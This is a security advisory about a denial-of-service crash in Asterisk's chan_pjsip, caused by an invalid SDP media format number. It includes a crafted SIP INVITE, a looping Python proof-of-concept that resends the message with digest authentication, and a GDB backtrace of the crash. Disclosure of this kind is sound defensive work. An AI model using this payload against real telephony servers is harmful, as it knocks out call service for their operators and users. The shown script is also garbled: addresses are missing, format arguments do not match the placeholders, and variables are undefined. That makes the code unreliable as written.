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Segmentation fault occurs in Asterisk with an invalid SDP media format description


A specially crafted SDP message body with an invalid media format description causes a segmentation fault in asterisk using chan_pjsip.


Abuse of this vulnerability leads to denial of service in Asterisk when chan_pjsip is in use.

How to reproduce the issue

The following SIP message was used to reproduce the issue:

INVITE sip:5678@ SIP/2.0
To: <sip:5678@>
From: Test <sip:5678@>
Call-ID: 5493d4c9-8248-4c26-a63c-ee74bcf3e1e8
Via: SIP/2.0/UDP;branch=z9hG4bK5493d4c9-8248-4c26-a63c-ee74bcf3e1e8
Contact: <sip:5678@>
Content-Type: application/sdp
Content-Length: 115

o=- 1061502179 1061502179 IN IP4
c=IN IP4
m=audio 17002 RTP/AVP 4294967296

The problematic SDP section is:

m=audio 17000 RTP/AVP 4294967296


  • authentication may be required
  • the destination SIP address should match a valid extension in the dialplan

To facilitate this process we wrote the following python program to reproduce this issue:

import socket
import re
import md5
import uuid

UDP_IP = ""
UDP_PORT = 13940
USERNAME = "5678"
PASSWORD = "5678"

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind((UDP_IP, UDP_PORT))

while True:
    callid = str(uuid.uuid4())

    fmt = 4294967296

    sdpbody = "v=0\r\n" \
        "o=- 1061502179 1061502179 IN IP4\r\n" \
        "s=Asterisk\r\n" \
        "c=IN IP4\r\n" \
        "m=audio 17002 RTP/AVP %s" % fmt

    msg="INVITE sip:%s@%s:%i SIP/2.0\r\n" \
        "To: <sip:%s@%s:%i>\r\n" \
        "From: Test <sip:%s@%s:%s>\r\n" \
        "Call-ID: %s\r\n" \
        "CSeq: 2 INVITE\r\n" \
        "Via: SIP/2.0/UDP;branch=z9hG4bK%s\r\n" \
        "Contact: <sip:%s@>\r\n" \
        "Content-Type: application/sdp\r\n" \
        "{{AUTH}}" \
        "Content-Length: %i\r\n" \
        "\r\n" % (
            callid, callid,
            USERNAME, len(sdpbody)
            ) + \

    sock.sendto(msg.replace("{{AUTH}}", ""), (SERVER_IP, SERVER_PORT))

    data, addr = sock.recvfrom(10240)

    if data.startswith("SIP/2.0 401"):
        for line in data.split('\r\n'):
            if line.startswith("WWW-Authenticate"):
                content = line.split(':', 2)[1].strip()
                realm = re.search("realm=\"([a-z]+)\"", content).group(1)
                nonce = re.search("nonce=\"([a-z0-9\/]+)\"", content).group(1)
                ha1 = md5.new(USERNAME + ":" + realm + ":" + PASSWORD).hexdigest()
                uri = "sip:%s:%i" % (SERVER_IP, SERVER_PORT)
                ha2 = md5.new("INVITE:" + uri).hexdigest()
                r = md5.new(ha1 + ":" + nonce + ":" + ha2).hexdigest()

                auth = "Authorization: Digest username=\"%s\"," % (USERNAME) + \
                    "realm=\"%s\"," % (realm) + \
                    "nonce=\"%s\"," % (nonce) + \
                    "uri=\"%s\"," % (uri) + \
                    "response=\"%s\"," % (r) + \

    sock.sendto(msg.replace("{{AUTH}}", auth), (SERVER_IP, SERVER_PORT))

The loop is required since a crash might not occur immediately.

This security issue was discovered through the use of simple fuzzing with Radamsa and our internal toolset.

GDB backtrace result

gdb --args /opt/asterisk/sbin/asterisk -fcvvv

[Jan  2 16:07:36] DEBUG[45]: res_pjsip_session.c:743 handle_negotiated_sdp_session_media: Applied negotiated SDP media stream 'audio' using audio SDP handler
[Jan  2 16:07:36] ERROR[45]: pjproject:0 <?>: 	              except.c .!!!FATAL: unhandled exception PJLIB/No memory!

Thread 26 "asterisk" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff0297700 (LWP 45)]
__longjmp_chk (env=env@entry=0x0, val=val@entry=1) at ../setjmp/longjmp.c:32
32	../setjmp/longjmp.c: No such file or directory.
(gdb) bt
#0  __longjmp_chk (env=env@entry=0x0, val=val@entry=1) at ../setjmp/longjmp.c:32
#1  0x00007ffff78ed4ae in pj_throw_exception_ (exception_id=1) at ../src/pj/except.c:54
#2  0x00007ffff7868070 in pool_callback (pool=<optimized out>, size=<optimized out>) at ../src/pjsip/sip_endpoint.c:143
#3  0x00007ffff78f1a93 in pj_pool_create_block (size=1407375809856000, pool=0x7fff8c002c90) at ../src/pj/pool.c:63
#4  pj_pool_allocate_find (pool=0x7fff8c002c90, size=1407375809852724) at ../src/pj/pool.c:138
#5  0x00007ffff78fbb75 in pj_strdup (pool=pool@entry=0x7fff8c002c90, dst=dst@entry=0x7fff8c027638, src=src@entry=0x7fff8c025638) at ../include/pj/string_i.h:41
#6  0x00007ffff78b287e in pjmedia_sdp_media_clone (pool=pool@entry=0x7fff8c002c90, rhs=0x7fff8c025608) at ../src/pjmedia/sdp.c:691
#7  0x00007ffff78b4069 in pjmedia_sdp_session_clone (pool=pool@entry=0x7fff8c002c90, rhs=0x7fff8c01cdb8) at ../src/pjmedia/sdp.c:1422
#8  0x00007ffff7847f31 in create_sdp_body (c_sdp=<optimized out>, pool=0x7fff8c002c90) at ../src/pjsip-ua/sip_inv.c:1722
#9  process_answer (inv=inv@entry=0x7fff8c009f28, st_code=st_code@entry=200, local_sdp=local_sdp@entry=0x0, tdata=0x7fff8c002d38, tdata=0x7fff8c002d38) at ../src/pjsip-ua/sip_inv.c:2257
#10 0x00007ffff7848681 in pjsip_inv_answer (inv=0x7fff8c009f28, st_code=st_code@entry=200, st_text=st_text@entry=0x0, local_sdp=local_sdp@entry=0x0, p_tdata=p_tdata@entry=0x7ffff0296d10) at ../src/pjsip-ua/sip_inv.c:2393
#11 0x00007fff6b0f8f77 in answer (data=0x7fff8c00b298) at chan_pjsip.c:660
#12 0x00007ffff17cb180 in sync_task (data=0x7ffff290c510) at res_pjsip.c:4270
#13 0x00000000005fb3be in ast_taskprocessor_execute (tps=tps@entry=0x1dd6298) at taskprocessor.c:963
#14 0x0000000000602610 in execute_tasks (data=0x1dd6298) at threadpool.c:1322
#15 0x00000000005fb3be in ast_taskprocessor_execute (tps=0x1a401b8) at taskprocessor.c:963
#16 0x0000000000602af0 in threadpool_execute (pool=0x1ae0e88) at threadpool.c:351
#17 worker_active (worker=0x7fff94000948) at threadpool.c:1105
#18 worker_start (arg=arg@entry=0x7fff94000948) at threadpool.c:1024
#19 0x000000000060d4bd in dummy_start (data=<optimized out>) at utils.c:1257
#20 0x00007ffff5e3d6ba in start_thread (arg=0x7ffff0297700) at pthread_create.c:333
#21 0x00007ffff54263dd in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109

Solutions and recommendations

Apply the patch issued by Asterisk at http://www.asterisk.org/security or upgrade to the latest release.

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